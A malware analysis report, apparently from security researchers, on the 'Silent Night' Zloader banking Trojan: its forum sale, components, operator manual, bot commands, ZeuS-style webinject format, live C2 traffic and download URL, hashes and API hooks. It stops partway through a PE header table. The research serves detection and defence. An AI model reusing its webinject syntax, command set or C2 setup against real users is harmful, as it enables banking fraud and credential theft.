The “Silent Night” Zloader/Zbot

by @hasherezade (Malwarebytes) and @prsecurity_ (HYAS)

May 2020 - Version 1.0
Foreword

ZeuS is probably the most famous banking Trojan ever released. Since its source code leaked, various new variants are making the rounds. In the past we wrote about one of its forks, called Terdot Zbot/Zloader.

Recently, we have been observing another bot, with the design reminding of ZeuS, that seems to be fairly new (a 1.0 version was compiled at the end of November 2019), and is actively developed. Since the specific name of this malware was for a long time unknown among researchers, it happened to be referenced by a generic term Zloader/Zbot (a common name used to refer to any malware related to the ZeuS family).

Our investigation led us to find that this is a new family built upon the ZeuS heritage, being sold under the name “Silent Night”. In our report, we will call it “Silent Night” Zbot.

The initial sample is a downloader, fetching the core malicious module and injecting it into various running processes. We can also see several legitimate components involved, just like in Terdot’s case.

In this paper, we will take a deep dive into the functionality of this malware and its Command-and-Control (C2) panel. We are going to provide a way to cluster the samples based on the values in the bot’s config files. We will also compare it with some other Zbots that have been popular in recent years, including Terdot.
# Table of content

- Appearance and description
- Distribution
- Elements
- User manual
- Behavioral Analysis
- C2 Communication
- Traffic analysis
- Inside
  - Obfuscation
  - Used static libraries
  - Execution flow
    - The loader
    - The core bot
  - Plain loader vs antiemul loader
  - Storage
  - Manually loading PEs
  - VNC Server
  - Commands: implementation
  - Hooks
  - Man-In-The-Browser local proxy
  - Stealer functionality
- Comparison
- Panel
- Builder
- Client clusters and IOCs
Appearance and description

The banking Trojan called “Silent Night” (perhaps in reference to the xXx 2002 movie, where Silent Night was the name of Soviet-made binary chemical weapon) was announced on November 9th 2019 on forum.exploit[.]in, one of the Russian underground forums. The seller’s username is “Axe”.

The announcement date is very close to the compilation date of version 1.0 that we were able to capture.
The author described it as a banking Trojan designed with compatibility with ZeuS webinjects. Yet, he claims that the code is designed all by him, based on his multiple years of experience - quote: “In general, it took me 5+ years to develop and support the bot, on average about 15k ~ hours were spent.”

The price tag is steep, especially for the Russian audience where 500 USD is an average rent for a small 1 bedroom apartment in the outskirts of Moscow:

- 4,000 USD/month for unique build
- 2,000 USD/month for general build
- 1,000 USD/month extra for HVNC functionality
- 500 USD/14 days to test

In a reflection post by Axe, he talks about his experience developing a banking bot a few years prior. Rough translation of the text in the image:

“A few years prior: My previous banking Trojan had a lot of issues and was hard to maintain because of the poor architecture and C-code. The best course of action was to rewrite the whole thing, and I have done just that. The development took a few years, and I went through a couple of iterations. Finally, with the experience learned from the first version and all the customers’ feedback, I was successful at making the ideal banking trojan.”

In fact, we can confidently attribute his previous work to be Axebot. Same user Axe has another thread on the same forum around 2015-2016 where he advertised another banking bot.
Comparing Axe Bot 1.4.1 and Zloader 1.8.0 C2 source codes, we note that all of their custom PHP functions have the prefix CSR, which can either be a naming space or a developer’s handle.
AxeBot global.php:

```php
function CsrSqlQueryRowEx($query)
{
    $row = CsrSqlQuery($query);
    if (is_array($row))
        foreach ($row as $k => $v) return $row[$k];
    return false;
}

function CsrSqlQuery($query) {
    return mysqli_query($GLOBALS['db_con'], $query);
}

function CsrSetCookie($name, $value, $time) {
    setcookie($name, $value, time() + $time, '/');
}

function CsrGetCookie($name) {
    if (isset($_COOKIE[$name])) return $_COOKIE[$name];
    return false;
}

function CsrRemoveCookie($name) {
    CsrSetCookie($name, false, -1);
}
```

Zloader global.php (deobfuscated):

```php
function CsrSqlQueryRows($query) {
$req = mysqli_query($GLOBALS['dbCon'], $query);
    if (!$req) return false;
    $rows = array();
    while ($row = mysqli_fetch_assoc($req)) $rows[] = $row;
    mysqli_free_result($req);
    return $rows;
}

function CsrSqlQueryRow($query) {
    $arr = CsrSqlQueryRows($query);
    if (is_array($arr) && count($arr) > 0) return $arr[0];
    return false;
}

function CsrSqlQueryRowEx($query) {
    $row = CsrSqlQueryRow($query);
    if (is_array($row))
        foreach ($row as $k => $v) return $row[$k];
    return false;
}
```

The description and functionality described in the thread also closely match the capabilities of the Zloader sample. Among the advertised features we find:

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
Web Injections and Form Grabber
Support for browsers "Google Chrome", Firefox, "Internet Explorer".

HiddenVNC
Works on all OSs with the latest browser versions except Edge.

SOCKS5
The session starts in one click on the bot page in the admin panel.
The server-side utility for the backconnect works only under Windows.

Keylogger
Monitors keystrokes in browsers.
Search by keylogger reports is possible by process name, window title and content.

Screenshots
It takes screenshots in the area of clicking the mouse button with a size of 400x400, it fires when you enter the url you need.
Screenshots can be searched by process name and window title.

Cookie Grabber
Support for browsers "Google Chrome", Firefox, "Internet Explorer".
Cookies are available for download in NETSCAPE, JSON and PLAIN formats.

Passwords Grabber
From Google Chrome.

Axe also claims to use an original obfuscator, described in the following way:

Protective gear
An obfuscator was written for the bot, which morphs all code and encrypts strings + all constant values in the code.
This is not only a banal replacement of arithmetic operations with analogs, but also decomposition of all instructions, including comparison operations by functions to processors that perform the operation we need, and we get a very confusing code at the output.
Decryption of lines occurs on the fly on demand, which will be stored temporarily on the stack.
Decryption of constant values also occurs on the fly, for each of which has its own unique function of decryption.
All WinApi calls are made through a handler that searches for the hash API we need.
Creates fake WinApi calls during code obfuscation, so the bot stores a random import table.
Critical code (cryptographic algorithms) works in a stacked virtual machine, VM code also morphs, virtualization is necessary to complicate the analysis.
Thus, with each assembly we get a unique file and any signature will be knocked down in one click.
Performance was not critically affected.
The “Silent Night” Zloader/Zbot

Distribution

On Dec 23 2019, this Zloader was observed being dropped by the RIG Exploit Kit (source).

At the beginning, since it was soon after the first release of this malware, the campaigns were small, and appear to be for testing purposes. The spreading intensified over time, and the distribution switched to mostly phishing emails.

In March 2020, it was delivered in a COVID-19 themed spam campaign, as reported by Vitali Kremez.

At that time, the attachments used for dropping the malware were mostly Word documents with malicious Javascript. The document is a lure trying to convince the user to enable the active content.

Later, the spam with the Invoice template started to be used.

On Apr 21, 2020 a big campaign was reported by ExecuteMalware

The used attachments were mostly Excel Sheets with macros embedded on a VeryHidden XLS sheet. After enforcing the hidden sheet to be displayed, we can see the commands in the cells:

dcaded58334a2efe8d8ac3786e1dba6a55d7bdf11d797e20839397d51cdff7e1 - source
They were downloading the malicious loader from the embedded URLs.

Details on deobfuscating this type of loader has been presented in the video by DissectMalware.

Another variant of the attachment was a VBS script, where the Zloader was embedded directly, in obfuscated form:

```
80bb2ee42974630e746bc1cf36e7589a5283ee4532836b66be2c734acbe308df
```

Since the distribution may vary, and the campaigns are probably run by third parties (the clients who rented the malware) we will not go into their details in this paper.
Elements

The distributed package contains the following elements - malicious as well as harmless, that are used as helpers:

<table>
<thead>
<tr>
<th>Name</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>loader-bot32.dll/.exe</td>
<td>Loader/installer of the core element</td>
</tr>
<tr>
<td>antiemule-loader-bot32.dll/.exe</td>
<td>Loader/installer of the core element, with anti-emulator evasion techniques</td>
</tr>
<tr>
<td>bot32.dll</td>
<td>the core element (main bot) - version for 32 bit system</td>
</tr>
<tr>
<td>bot64.dll</td>
<td>the core element (main bot) - version for 64 bit system</td>
</tr>
<tr>
<td>hvnc32.dll</td>
<td>Hidden VNC (32 bit)</td>
</tr>
<tr>
<td>hvnc64.dll</td>
<td>Hidden VNC (64 bit)</td>
</tr>
<tr>
<td>zlib1.dll</td>
<td>harmless: Zlib compression library</td>
</tr>
<tr>
<td>libssl.dll</td>
<td>harmless: an SSL library for secure communication</td>
</tr>
<tr>
<td>sqlite3.dll</td>
<td>harmless: an SQLite library for reading SQL databases</td>
</tr>
</tbody>
</table>

Server-side elements:

<table>
<thead>
<tr>
<th>Name</th>
<th>Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>bcs.exe</td>
<td>a server-side Back-Connect utility (deployed on the machine of botnet operator)</td>
</tr>
</tbody>
</table>

The same binaries are served to all the clients in standard releases, and the only customization is available via hardcoding a custom configuration. In addition to this, the author offers custom builds for specific clients.
Samples

The current analysis focuses on the following samples, captured in live campaigns:

**loader-bot.exe**:

- becab52a50004d42538cfe82c8f527f1793727c5f679f46df7f96eade272962 – loader #1 (dropped by RIG EK)
- 0c1b74345e0300233db0396f78ca121e7589deda31b7bc455baa476274e3f2e5 – loader #2 (downloaded from: 45.72.3.132/web7643/test2.exe)
- 3648fe001994cb9c0a6b510213c268a6bd4761a3a99f3abb2738bf84f06d11cf - loader #3 (packed, from malspam)
  - 3648fe001994cb9c0a6b510213c268a6bd4761a3a99f3abb2738bf84f06d11cf - loader #3 (unpacked)

**bot32.dll**:

- 6460f606f563d1fe3c74b215e1252dc7466322e4d2b55b898b9da1bd63454762 - sample #1
- df60102ff5974a55fb6d5f4683f2565b347a0412492514e07be9b03c7c856b7 - sample #2
User manual

Following the address of the C2 (Command and Control server) we found an open directory.

One of the files contained a manual for the bot operator:
The “Silent Night” Zloader/Zbot

User's manual

- Server Tuning
- Panel Installation
- Panel Update
- Build build
- Bot update
- HTTP injects / HTTP grabbers
- Config section
- Start backconnect
- Tasks for the bot
- Recommendations
- FAQ

Control Panel: Server Setup

You need a “Dedicated Server” (Dedik), the recommended minimum configuration:

- 2x processor with a frequency of 2 GHz.
- 2GB of RAM.
- SSD is desirable.
- Linux operating system.

**PHP interpreter:**

The latest version of the control panel was developed in PHP 7.0. Therefore, it is highly recommended to use a version not less than this. It is important to make the following settings in php.ini:

- safe_mode = Off
- magic_quotes_gpc = Off
- magic_quotes_runtime = Off
- memory_limit = 128M or higher.
- post_max_size = 10M or higher.

And it is recommended that you change the following settings:

- display_errors = Off

In the web server configuration in the case of nginx, the following options must be set. FastFlux and gadgets should also be a off = 10M, I don’t think that there will be problems.

- client_max_body_size 10M; Or higher.

*In case of problems with these limits, we will receive error messages when the bot starts, only in debug mode.*

Thanks to this manual, we could start the analysis by understanding thoroughly what the features intended by the author were. The functionality is typical for a banking Trojan, without much novelty. In a subsequent part of this post, we will present how each feature is implemented in the bot.

Not surprisingly, there is an overlap between this manual, and the classic Zeus Bot manual, available with the leaked source.

The main panel of the C2 is written in PHP.
**Backconnect**

One of the described features is backconnect. This feature means that the malware opens a reverse connection, allowing the operator to interact with the infected machine in spite of the Network Address Translation (NAT) being in use.

The server-side utility for the backconnect is implemented as an additional executable: `bcs.exe` (hash 9a77409eac7310b0492915aba04f23dafa9f4990dab588df0ab8ffe0871daae8). The bot operator must run it with Administrative privileges on their own machine, and then fill the IP address in the **Config** section of the C2 panel.

**Commands**

According to the author, the bot accepts the following commands:

- `user_execute [URL] [parameters]` - download an executable into the `%TEMP%` folder and run it (optionally with parameters)
- `user_cookies_get` - steal cookies from all known browsers.
- `user_cookies_remove` - removing all cookies from all known browsers.
- `user_url_block [url_1] [url_2] ... [url_X]` - block URL access for the current user.
- `user_url_unblock [url_1] [url_2] ... [url_X]`
- `bot_uninstall` - complete removal of the bot from the current user.

**Webininjects and Webgrabbers**

The bot allows for stealing contents of the opened pages (webgrabber), as well as for modifying it (webinject). The format of webinjects is typical for ZeuS. Example:

```
set_url * G
data_before
<title>
data_end
data_after
</title>
data_end
data_inject
INJECT
data_end
```

Format of setting condition that executes webinject/webgrabber on a selected page:

```
set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [matched_context]
```

Options are defined by following characters:
P - run on POST request.
G - run on GET request.
L - if this symbol is specified, then the launch occurs as an HTTP grabber, if not specified, then as an HTTP injection.
H - complements the "L" character, saves content without HTML tag clipping.
In normal mode, all HTML tags are deleted, and some are converted to the newline or space character.
I - compare the case-sensitive url parameter (for the English alphabet only).
C - compare case insensitive (for the English alphabet only).
B - block execution of the injection.

Behavioral analysis

Sandbox analysis of the component dropped by RIG EK is available here.

As we can see in the diagram, the malicious executable first makes an injection into msiexec.exe - which is a very common target of malware based on (or inspired by) ZeuS. Further injections are made to other running processes. It also installs a custom certificate with the help of certutil.exe.

The initial component of this malware (i.e. d93ca01a4515732a6a54df0a391c93e3) is a downloader/installer. So, in order to reveal its malicious intent, we need to run it on a machine connected to the internet, and make sure that we have access to the live C2 server.

Then, the malicious implant running inside msiexec attempts to connect to the C2 server, and download the important elements from there. The communication with the C2 goes over HTTPS, but is also additionally encrypted.
<table>
<thead>
<tr>
<th>#</th>
<th>HTTP/HTTPS</th>
<th>Domain/Path</th>
<th>Port</th>
<th>Content Type</th>
<th>Process</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>220</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>4</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>675 875</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>5</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>705</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>6</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>333 957</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>7</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>91</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>8</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>1 922...</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>9</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>134</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>10</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>94</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>11</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>313</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>12</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>187</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>13</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>221</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>14</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>119</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
<tr>
<td>15</td>
<td>HTTPS</td>
<td>45.72.3.132 /web7643/gate.php</td>
<td>3 325...</td>
<td>text/html; ch...</td>
<td>msiexec:2756</td>
<td>705</td>
</tr>
</tbody>
</table>
The sample content of request-response:

<table>
<thead>
<tr>
<th>Headers</th>
<th>Text View</th>
<th>Syntax View</th>
<th>Image View</th>
<th>Preview</th>
<th>Web View</th>
<th>Auth</th>
<th>Caching</th>
<th>Cookies</th>
<th>Raw</th>
<th>JSON</th>
<th>XML</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td><a href="http://13.52.8.182/">http://13.52.8.182/</a>...</td>
<td>b7fe44/gata.php HTTP/1.1. A6...</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The analysis of the decrypted traffic is presented in the traffic section.

The bot creates multiple directories with random names inside the %APPDATA% directory.
In some of them we can find files with encrypted content:

In addition to it, it creates registry keys with pseudo-random names, under HKEY_CURRENT_USER\Software\Microsoft. Example:
Persistence

The malware achieves persistence with the help of an Autorun registry key, which is a very popular, and easy to detect method.

The key points to the loader component that was dropped into a custom folder created in %APPDATA%:

This way of storing components (creating multiple random-named directories in APPDATA, and storing the encrypted components there) is typical for malware with ZeuS heritage.

During the execution the malware was updated, dropping an alternative loader:

Once the initial executable is run, it performs injection into msiexec and then terminates.
The view from Process Explorer shows how the initial executable (yddieb.exe) runs msiexec and terminates.

The component implanted into msiexec continues running, and performs further injections. At the beginning of its execution it reads the registry key with the saved configuration. Then, it reads components that are saved in the folders inside %APPDATA%.

It loads the next stage modules from the previously dropped encrypted files, and then injects them into msiexec, and into other processes.

**Implants**

We can extract the implanted modules by scanning the system with Hollows Hunter. Depending on the process, the injected components may vary. Four different schemes of injections have been observed, depending on the target process.

1) msiexec

Inside the msiexec the core component of the malware runs. We can find several DLLs implanted there.
The implants and reports dumped by Hollows Hunter.

The implant at 70000.exe is the loader. Depending on the variant, it can be delivered as an EXE or DLL. If the loader was implemented as a DLL, the initial redirection (from msiexec to the loader implant) may be a bit different than in case of the EXE.

For example, in one of the observed cases, the Entry Point of msiexec was patched. The patch then redirected the execution to the implanted DLL (893d85faac45de4ef4bc43e81907e74a):

```
Hex  Disasm  Disasm
3DB0  68000007000  PUSH 0X70000
3DB5  B87E687000  MOV EAX, 0X7687E
3DBA  FF10000000  CALL EAX
3DBC  ESCBDFFFFF  CALL 0X1C1D8C
```
The EAX is filled by the address of the loader’s Entry Point, and the call redirects the execution to the implant:

The next module: 550000.dll in the dump - is the main module of the bot (bot32/64.dll). We can also see several other DLLs. By looking at their export tables we can identify them as: hvnc32.dll, sqlite3.dll, libssl.dll, zlib1.dll.

The libssl.dll is loaded by hollowing mshtml.dll.

2) Other processes (except msiexec)

All accessible processes have implants installed for the purpose of interception of selected API calls.

We can find there a similar scheme of implants:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>77d10000.ntdll</td>
<td>Application extens...</td>
<td>1.24 KB</td>
</tr>
<tr>
<td>77d10000.ntdll.tag</td>
<td>TAG File</td>
<td>1 KB</td>
</tr>
<tr>
<td>77e70000.user32.dll</td>
<td>Application extens...</td>
<td>793 KB</td>
</tr>
<tr>
<td>77e70000.user32.dll.tag</td>
<td>TAG File</td>
<td>1 KB</td>
</tr>
<tr>
<td>7430000.dll</td>
<td>Application extens...</td>
<td>660 KB</td>
</tr>
<tr>
<td>report.json</td>
<td>JSON File</td>
<td>2 KB</td>
</tr>
</tbody>
</table>

*The implants and reports dumped by Hollows Hunter.*

There is one malicious DLL (identified as the core component of the bot: bot32/64.dll). Additionally, two DLLs are hooked: NTDLL, and User32. Their execution is redirected to the implanted DLL.

Sample report is given below (where 7430000 is the bot32/64.dll):
The "Silent Night" Zloader/Zbot

- ntdll.dll
  45778;NtCreateUserProcess->745decf[7430000+2decf:(unnamed):1];5

- user32.dll
  164c7;TranslateMessage->745e6d9[7430000+2e6d9:(unnamed):1];5

The beginning of the function NtCreateUserProcess is patched, and starts by the redirection into the implanted DLL:

The jump at the beginning of NtCreateUserProcess leads to the following function inside the implant:

The hook at the beginning of the function TranslateMessage in User32.dll also starts by the redirection to the implant:

3) Browsers: iexplore (Internet Explorer), firefox, chrome.exe (Chrome)

Browsers processes have implants installed for the purpose of interception of selected API calls. Just like most of the processes, they have the main bot injected (bot32/64.dll), yet their hooking scheme is extended. The additional hooks are installed in ntdll.dll.

Sample report is given below (where the 180000 is the bot32.d11):

- ntdll.dll
  45778;NtCreateUserProcess->1adecf[180000+2decf:(unnamed):1];5
  45858;NtDeviceIoControlFile->1ae0cb[180000+2e0cb:(unnamed):1];5
The “Silent Night” Zloader/Zbot

- user32.dll
  164c7;TranslateMessage->1ae6d9[180000+2e6d9:(unnamed):1];5

4) iexplore (Internet Explorer), chrome.exe (Chrome)

In Internet Explorer and Chrome, the implants are almost the same as mentioned in the previous paragraph ("browsers"). Yet there are additional hooks in crypt32.dll, that were not observed i.e. in Firefox.

Sample report (where 180000 is the bot32.dll implant):

- crypt32.dll
  16ccf;CertGetCertificateChain->1ae635[180000+2e635:(unnamed):1];5
  1cae2;CertVerifyCertificateChainPolicy->1ae6a6[180000+2e6a6:(unnamed):1];5

- ntdll.dll
  45778;NtCreateUserProcess->1adecf[180000+2decf:(unnamed):1];5
  45858;NtDeviceIoControlFile->1ae0cb[180000+2e0cb:(unnamed):1];5

- user32.dll
  164c7;TranslateMessage->1ae6d9[180000+2e6d9:(unnamed):1];5

The detailed analysis of the hooks, and how they are installed, is presented in the hooks section.

Modules

Let's have a closer look at all the modules dumped by the HollowsHunter.

First, the core DLL (bot32/64.dll) (ab756f154d266c8ba19bdfa8bca1b73) will be downloaded. It is implanted into the initial msiexec but also into all the accessible processes. This model of injection is atypical, and very invasive: usually, malware selects only one or two processes where it injects.

In addition to the injected core, in the main malware process, running under the cover of msiexec we will find more modules, including legitimate DLLs: sqlite3.dll, libssl.dll, zlib1.dll.
<table>
<thead>
<tr>
<th>Offset</th>
<th>Name</th>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABE00</td>
<td>Characteristics</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>ABE04</td>
<td>TimeDateStamp</td>
<td>5D2629D5</td>
<td>środa, 10.07.2019 18:09:25 UTC</td>
</tr>
<tr>
<td>ABE08</td>
<td>MajorVersion</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>ABE0A</td>
<td>MinorVersion</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>ABE0C</td>
<td>Name</td>
<td>AFA96</td>
<td>sqlite3.dll</td>
</tr>
<tr>
<td>ABE10</td>
<td>Base</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>ABE14</td>
<td>NumberOfFunctions</td>
<td>108</td>
<td></td>
</tr>
<tr>
<td>ABE18</td>
<td>NumberOfNames</td>
<td>108</td>
<td></td>
</tr>
<tr>
<td>ABE1C</td>
<td>AddressOfFunctions</td>
<td>AF028</td>
<td></td>
</tr>
<tr>
<td>ABE20</td>
<td>AddressOfNames</td>
<td>AF454</td>
<td></td>
</tr>
<tr>
<td>ABE24</td>
<td>AddressOfNameOrdinals</td>
<td>AF880</td>
<td></td>
</tr>
</tbody>
</table>

### Exported Functions [267 entries]

<table>
<thead>
<tr>
<th>Offset</th>
<th>Ordinal</th>
<th>Function RVA</th>
<th>Name RVA</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABE28</td>
<td>1</td>
<td>1D3CB</td>
<td>AFAA2</td>
<td>sqlite3_aggregate_context</td>
</tr>
<tr>
<td>ABE2C</td>
<td>2</td>
<td>3413</td>
<td>AFABC</td>
<td>sqlite3_aggregate_count</td>
</tr>
<tr>
<td>ABE30</td>
<td>3</td>
<td>92415</td>
<td>AFAD4</td>
<td>sqlite3_auto_extension</td>
</tr>
<tr>
<td>ABE34</td>
<td>4</td>
<td>49CE9</td>
<td>AFAE8</td>
<td>sqlite3_backup_finish</td>
</tr>
<tr>
<td>ABE38</td>
<td>5</td>
<td>4983D</td>
<td>AFB01</td>
<td>sqlite3_backup_init</td>
</tr>
<tr>
<td>ABE3C</td>
<td>6</td>
<td>2F71</td>
<td>AFB15</td>
<td>sqlite3_backup_pagecount</td>
</tr>
<tr>
<td>ABE40</td>
<td>7</td>
<td>2F66</td>
<td>AFB2E</td>
<td>sqlite3_backup_remaining</td>
</tr>
<tr>
<td>ABE44</td>
<td>8</td>
<td>4786D</td>
<td>AFB47</td>
<td>sqlite3_backup_step</td>
</tr>
<tr>
<td>ABE48</td>
<td>9</td>
<td>256C1</td>
<td>AFB58</td>
<td>sqlite3_bind_blob</td>
</tr>
<tr>
<td>ABE4C</td>
<td>A</td>
<td>256E8</td>
<td>AFB6D</td>
<td>sqlite3_bind_blob64</td>
</tr>
</tbody>
</table>

sqlite3.dll – fragment of the Export Table
The “Silent Night” Zloader/Zbot

<table>
<thead>
<tr>
<th>Offset</th>
<th>Name</th>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>1C1D00</td>
<td>Characteristics</td>
<td>0</td>
<td>niedziela, 07.02.2106 06:28:15 UTC</td>
</tr>
<tr>
<td>1C1D04</td>
<td>TimeDateStamp</td>
<td>FFFFFFFF</td>
<td></td>
</tr>
<tr>
<td>1C1D08</td>
<td>MajorVersion</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>1C1D0A</td>
<td>MinorVersion</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>1C1D0C</td>
<td>Name</td>
<td>1C2D80</td>
<td>libssl.dll</td>
</tr>
<tr>
<td>1C1D10</td>
<td>Base</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>1C1D14</td>
<td>NumberOfFunctions</td>
<td>3C</td>
<td></td>
</tr>
<tr>
<td>1C1D18</td>
<td>NumberOfNames</td>
<td>3C</td>
<td></td>
</tr>
<tr>
<td>1C1D1C</td>
<td>AddressOfFunctions</td>
<td>1C2B28</td>
<td></td>
</tr>
<tr>
<td>1C1D20</td>
<td>AddressOfNames</td>
<td>1C2C18</td>
<td></td>
</tr>
<tr>
<td>1C1D24</td>
<td>AddressOfNameOrdinals</td>
<td>1C2D08</td>
<td></td>
</tr>
</tbody>
</table>

Exported Functions [60 entries]

<table>
<thead>
<tr>
<th>Offset</th>
<th>Ordinal</th>
<th>Function RVA</th>
<th>Name RVA</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1C1D28</td>
<td>1</td>
<td>471A0</td>
<td>1C2D8B</td>
<td>asn1_integer_set</td>
</tr>
<tr>
<td>1C1D2C</td>
<td>2</td>
<td>47570</td>
<td>1C2D9C</td>
<td>crypto_free</td>
</tr>
<tr>
<td>1C1D30</td>
<td>3</td>
<td>47470</td>
<td>1C2DA8</td>
<td>d2i_privatekey</td>
</tr>
<tr>
<td>1C1D34</td>
<td>4</td>
<td>47440</td>
<td>1C2DB7</td>
<td>d2i_x509</td>
</tr>
<tr>
<td>1C1D38</td>
<td>5</td>
<td>47430</td>
<td>1C2DC0</td>
<td>err_get_error</td>
</tr>
<tr>
<td>1C1D3C</td>
<td>6</td>
<td>472B0</td>
<td>1C2DCE</td>
<td>evp_pkey_assign</td>
</tr>
<tr>
<td>1C1D40</td>
<td>7</td>
<td>472C0</td>
<td>1C2DDE</td>
<td>evp_pkey_free</td>
</tr>
<tr>
<td>1C1D44</td>
<td>8</td>
<td>47250</td>
<td>1C2DEC</td>
<td>evp_pkey_new</td>
</tr>
<tr>
<td>1C1D48</td>
<td>9</td>
<td>47410</td>
<td>1C2DF9</td>
<td>evp_sha256</td>
</tr>
<tr>
<td>1C1D4C</td>
<td>A</td>
<td>47460</td>
<td>1C2E04</td>
<td>i2d_privatekey</td>
</tr>
</tbody>
</table>

libssl.dll – fragment of the Export Table
The "Silent Night" Zloader/Zbot

zlib1.dll – fragment of the Export Table

The sqlite3.dll is used for the purpose of reading and stealing cookies from the browsers' databases. The libssl.dll – for establishing the encrypted connections, but also generation of the custom certificate, that will be used for the purpose of Man-In-The-Browser attacks. The zlib1.dll is for compression and decompression of data sent and received over HTTP (gzip).

One more malicious DLL is a VNC module (f3d2e4606a8964b8910dd8172b5c98e02f27e00b6082d7af220e2edfdbf7eb40) – that allows to open a hidden VNC connections to the victim machine.
The "Silent Night" Zloader/Zbot

<table>
<thead>
<tr>
<th>Offset</th>
<th>Name</th>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>407B4</td>
<td>TimeDateStamp</td>
<td>0</td>
<td>czwartek, 01.01.1970 00:00:00 UTC</td>
</tr>
<tr>
<td>407B8</td>
<td>MajorVersion</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>407BA</td>
<td>MinorVersion</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>407BC</td>
<td>Name</td>
<td>407D8</td>
<td>hvnc32.dll</td>
</tr>
<tr>
<td>407C0</td>
<td>Base</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>407C4</td>
<td>NumberOfFunctions</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>407C8</td>
<td>NumberOfNames</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>407CC</td>
<td>AddressOfFunctions</td>
<td>407E3</td>
<td></td>
</tr>
<tr>
<td>407D0</td>
<td>AddressOfNames</td>
<td>407EF</td>
<td></td>
</tr>
<tr>
<td>407D4</td>
<td>AddressOfNameOrdinals</td>
<td>407F7</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Offset</th>
<th>Ordinal</th>
<th>Function RVA</th>
<th>Name RVA</th>
<th>Name</th>
<th>Forwarder</th>
</tr>
</thead>
<tbody>
<tr>
<td>407E3</td>
<td>0</td>
<td>0</td>
<td>407E3</td>
<td>VncStartServer</td>
<td>-</td>
</tr>
<tr>
<td>407E7</td>
<td>1</td>
<td>1530D</td>
<td>407FB</td>
<td>VncStartServer</td>
<td>-</td>
</tr>
<tr>
<td>407EB</td>
<td>2</td>
<td>152DA</td>
<td>4080A</td>
<td>VncStopServer</td>
<td>-</td>
</tr>
</tbody>
</table>

Modules for 64 bit system

On a 64-bit system, Zloader uses one more DLL for the purpose of injections (64_gate32.dll). It is a 32-bit PE that can access a 64-bit environment with the help of the Heaven’s Gate technique. Its usage and technical details will be explained in the further part of this post.

- e0a3355b40e6660e35037da9680fcaabef458ee8a6ef7c7cc742324124c8e39

<table>
<thead>
<tr>
<th>Offset</th>
<th>Name</th>
<th>Value</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>800</td>
<td>Characteristics</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>804</td>
<td>TimeDateStamp</td>
<td>0</td>
<td>czwartek, 01.01.1970 00:00:00 UTC</td>
</tr>
<tr>
<td>808</td>
<td>MajorVersion</td>
